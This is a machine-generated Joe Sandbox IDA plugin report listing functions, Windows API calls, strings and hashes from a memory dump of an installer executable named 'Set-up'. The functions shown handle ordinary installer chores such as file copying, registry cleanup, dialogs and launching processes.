Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
String ID:
API String ID: 3376005127-0
Opcode ID: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
Instruction ID: 606d2f288e59f9406d2e88b5b0598c54d729d8d595f649ff0f3e4a994beab86c
Opcode Fuzzy Hash: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
Instruction Fuzzy Hash: 82115E72900109AFCF00EFA1DD45DAE7BB8EF04344F10403AFA09F61A1D7799A40DB19

Function 00402B23 Relevance: 7.6, APIs: 5, Instructions: 54memoryfilestringCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004), ref: 00402B2B
WideCharToMultiByte.KERNEL32(?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B61
lstrlenA.KERNEL32(?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B6A
WriteFile.KERNEL32(00000000,?,?,00000000,?,?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B85

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
String ID:
API String ID: 2568930968-0
Opcode ID: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
Instruction ID: 5d007b3c2ae3d1ce6b2586a1921c4ad46276280cee2e515d5d1d957ff8a092fa
Opcode Fuzzy Hash: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
Instruction Fuzzy Hash: 76016171500205FBDB14AF70DE48D9E3B78EF05359F10443AF646B91E1D6798982DB68

Function 0040209F Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 004020A3
GetClientRect.USER32(00000000,?), ref: 004020B0
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 004020D1
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 004020DF
DeleteObject.GDI32(00000000), ref: 004020EE

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
Instruction ID: a6d8e4af78efbdafb2d3f18e6b80530ac635d705efb76da9f8ac6e555915fa7b
Opcode Fuzzy Hash: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
Instruction Fuzzy Hash: 95F012B2600508AFDB00EBA4EF89DAF7BBCEB04305B104579F642F6161C6759E418B28

Function 00401F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401FE6
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401FFE

Strings

!, xrefs: 00401FB6

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction ID: e43e738488dd09895ebc4b193b1bc1394e214230f2e5861cb954e074e697f1bf
Opcode Fuzzy Hash: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction Fuzzy Hash: 93217171900209ABDF15AFB4D986ABE7BB9EF04349F14413EF602F60E2D6798A40D758

Function 004027E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00401553: RegOpenKeyExW.ADVAPI32(?,00000000,00000022,00000000,?,?), ref: 0040158B

RegCloseKey.ADVAPI32(00000000), ref: 0040282E
RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040280E

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

DeleteRegKey: "%s\%s", xrefs: 00402843
DeleteRegValue: "%s\%s" "%s", xrefs: 00402820

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: CloseDeleteOpenValuelstrlenwvsprintf
String ID: DeleteRegKey: "%s\%s"$DeleteRegValue: "%s\%s" "%s"
API String ID: 1697273262-1764544995
Opcode ID: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
Instruction ID: a9eecf508c221bc7802a822649300ece756bcc80235207ffe39efc99e8d71eac
Opcode Fuzzy Hash: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
Instruction Fuzzy Hash: FA11A772E00101ABDB10FFA5DD4AABE7AA4EF40354F14443FF50AB61D2D6BD8A50879D

Function 004048CC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404902
CallWindowProcW.USER32(?,00000200,?,?), ref: 00404970

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Strings

@rD, xrefs: 00404934
, xrefs: 004048DA

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID: $@rD
API String ID: 3748168415-881980237
Opcode ID: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction ID: bed307b1c5f775dd60c200178c13c7fdb07d6bd57f5d25ab133f42f3a31df96a
Opcode Fuzzy Hash: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction Fuzzy Hash: 7A114FB1500218ABEF21AF61ED41E9B3769AB84359F00803BF714751A2C77C8D519BAD

Function 00402665 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004062D5: FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
Part of subcall function 004062D5: FindClose.KERNEL32(00000000), ref: 004062EC

lstrlenW.KERNEL32 ref: 004026B4
lstrlenW.KERNEL32(00000000), ref: 004026C1
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004026EC

Strings

CopyFiles "%s"->"%s", xrefs: 0040267F

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: lstrlen$FileFind$CloseFirstOperationwvsprintf
String ID: CopyFiles "%s"->"%s"
API String ID: 2577523808-3778932970
Opcode ID: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
Instruction ID: a779005ae7d6007116ac0765ed120a10e3eb966af121a96df1e98a57451096ba
Opcode Fuzzy Hash: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
Instruction Fuzzy Hash: A0112171D00214A6CB10FFBA994699FBBBCEF44354F10843FB506F72D2E6B985118B59

Function 00406224 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00406278
lstrcatW.KERNEL32(00000000,...), ref: 0040629B

Strings

..., xrefs: 00406293
%02x%c, xrefs: 00406270

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: lstrcatwsprintf
String ID: %02x%c$...
API String ID: 3065427908-1057055748
Opcode ID: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction ID: b8620b589ecf2e5093343df65250d9ec4fb1615d5218d90249241d8ea01b8719
Opcode Fuzzy Hash: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction Fuzzy Hash: A2014932500214EFCB10EF58CC84A9EBBE9EB84304F20407AF405F3180D6759EA48794

Function 00405047 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405057

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

OleUninitialize.OLE32(00000404,00000000), ref: 004050A5

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

Section: "%s", xrefs: 00405079
Skipping section: "%s", xrefs: 004050B5

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: InitializeMessageSendUninitializelstrlenwvsprintf
String ID: Section: "%s"$Skipping section: "%s"
API String ID: 2266616436-4211696005
Opcode ID: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction ID: 490ae00110c0e09774d0d246d4d4a011172e9101669e5a2b786a62fce758e9f8
Opcode Fuzzy Hash: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction Fuzzy Hash: 41F0F4338087009BE6506B64AE07B9B77A4DFD4320F24007FFE48721E1ABFC48818A9D

Function 004020F9 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00402100
GetDeviceCaps.GDI32(00000000), ref: 00402107
MulDiv.KERNEL32(00000000,00000000), ref: 00402117

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

CreateFontIndirectW.GDI32(0041F0F0), ref: 0040216A

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectVersionwsprintf
String ID:
API String ID: 1599320355-0
Opcode ID: 6f0d7b084d37585979e4dd0fd2aac30abed8a2b5fd168dddd791f163065a0eb0
Instruction ID: 656afd6720eca978824560f17fb47cc17b19fb3a621816cfe3730d6e1c8eda21
Opcode Fuzzy Hash: 6f0d7b084d37585979e4dd0fd2aac30abed8a2b5fd168dddd791f163065a0eb0
Instruction Fuzzy Hash: DA017172644650EFE701ABB4ED4ABDA3BA4A725315F10C43AE645A61E3C678440A8B2D

Function 004071F8 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406ED2: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6

lstrcpynW.KERNEL32(?,?,00000009), ref: 00407239
lstrcmpW.KERNEL32(?,Version ), ref: 0040724A
lstrcpynW.KERNEL32(?,?,?), ref: 00407261

Strings

Version , xrefs: 00407241

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: lstrcpyn$CreateFilelstrcmp
String ID: Version
API String ID: 512980652-315105994
Opcode ID: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction ID: 151640cc4cfa07bb85738859349229c9473c158da19ee21f10eacb3052f8d035
Opcode Fuzzy Hash: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction Fuzzy Hash: 3EF03172A0021CABDB109AA5DD46EEA777CAB44700F100476F600F6191E6B59E158BA5

Function 004032D2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00403703,00000001,?,?,?,00000000,00403A47,?), ref: 004032E5
GetTickCount.KERNEL32 ref: 00403303
CreateDialogParamW.USER32(0000006F,00000000,0040324C,00000000), ref: 00403320
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403A47,?), ref: 0040332E

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction ID: 401e6cecbc7a0b9e3d471fb50fe358663bd3ad25f9a7ebc527197863dd5a4904
Opcode Fuzzy Hash: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction Fuzzy Hash: 23F08230502620EBC221AF64FE5CBAB7F68FB04B82701447EF545F12A4CB7849928BDC

Function 00406365 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004,00000000,?,?,00402449,?,?,?,00000008,00000001,000000F0), ref: 00406370
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000,?,?,00402449,?,?,?,00000008,00000001), ref: 00406386
GetProcAddress.KERNEL32(?,00000000), ref: 00406395
GlobalFree.KERNEL32(00000000), ref: 0040639E

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: Global$AddressAllocByteCharFreeMultiProcWide
String ID:
API String ID: 2883127279-0
Opcode ID: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction ID: 581917a1a4a7218ca9fbbc4554f9bfb31441e22884f00dccc1ee77d568dea7f2
Opcode Fuzzy Hash: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction Fuzzy Hash: 19E048712012107BE2101B669E8CD677EADDFCA7B6B05013EF695F51A0CE348C15D675

Function 00402797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,00000000,?,?,00002003,00000000), ref: 004027CD
lstrcmpW.KERNEL32(?,?,?,00002003,00000000,000000DD,00000012,00000001), ref: 004027D8

Strings

!N~, xrefs: 00402797

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: PrivateProfileStringlstrcmp
String ID: !N~
API String ID: 623250636-529124213
Opcode ID: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction ID: 7cd271610f6b1cb64eb4c57d825f56a096f62725fe87e34e9129affe44791136
Opcode Fuzzy Hash: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction Fuzzy Hash: 37E0E571500208ABDB00BBA0DE85DAE7BBCAF05304F14443AF641F71E3EA7459028718

Function 00405C3F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
CloseHandle.KERNEL32(?), ref: 00405C71

Strings

Error launching installer, xrefs: 00405C48

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction ID: c3c9ba135fb9cbcc5263534f4c07e322ce29f53e9eda4e03cc008bde6a4ec24c
Opcode Fuzzy Hash: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction Fuzzy Hash: 44E0EC70504209ABEF009B64EE49E7F7BBCEB00305F504575BD51E2561D774D9188A68

Function 004062A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004060E7: CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004062A5, 004062AA

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: CloseHandlelstrlenwvsprintf
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3509786178-2769509956
Opcode ID: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction ID: 8d95e7b1bd6a8fe250904a0927f32055e446839aab417a06e937ad69edd5bb19
Opcode Fuzzy Hash: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction Fuzzy Hash: 04D05E34150316BACA009BA0DE09E997B64FBD0384F50442EF147C5070FA748001C70E

Function 00405DB6 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
lstrcmpiA.KERNEL32(?,?), ref: 00405DDE
CharNextA.USER32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DEF
